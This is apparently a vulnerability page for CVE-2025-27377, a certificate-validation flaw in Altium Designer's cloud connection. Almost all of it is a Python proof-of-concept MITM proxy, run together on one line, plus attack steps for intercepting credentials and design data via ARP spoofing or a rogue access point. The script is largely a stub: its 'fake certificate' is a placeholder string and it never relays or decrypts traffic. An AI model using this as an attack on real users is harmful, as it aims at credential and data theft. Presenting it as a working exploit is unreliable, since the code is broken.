CVE-2025-27377: Altium Designer云连接证书验证缺失漏洞

#!/usr/bin/env python3 # CVE-2025-27377 PoC - MITM Attack Simulation # This PoC demonstrates the certificate validation bypass in Altium Designer import ssl import socket import json from http.server import HTTPServer, BaseHTTPRequestHandler class MitmProxyHandler(BaseHTTPRequestHandler): def do_CONNECT(self): # Establish tunnel for HTTPS traffic host, port = self.path.split(':') self.send_response(200, 'Connection Established') self.end_headers() # Create connection to real server remote_socket = socket.create_connection((host, int(port))) # Generate and serve fake certificate (self-signed) # Altium Designer accepts this due to missing validation cert_data = self.generate_fake_certificate() # Log intercepted connection attempt log_entry = { 'cve': 'CVE-2025-27377', 'target': host, 'port': port, 'action': 'MITM proxy established', 'note': 'Altium Designer certificate validation bypassed' } print(json.dumps(log_entry, indent=2)) # Note: In real attack, data would be decrypted here def generate_fake_certificate(self): # Generate self-signed certificate that Altium Designer accepts # due to missing validation in version 24.9.0 return b'FAKE_CERTIFICATE_DATA' def main(): # Start MITM proxy on common HTTPS port server = HTTPServer(('0.0.0.0', 443), MitmProxyHandler) print('[+] CVE-2025-27377 MITM Proxy Started') print('[+] Listening for Altium Designer connections...') server.serve_forever() if __name__ == '__main__': main() # Attack Requirements: # 1. Position attacker in network path (ARP spoofing, rogue AP, etc.) # 2. Redirect Altium Designer traffic through attacker-controlled proxy # 3. Serve self-signed certificate # 4. Intercept decrypted traffic and extract credentials/design data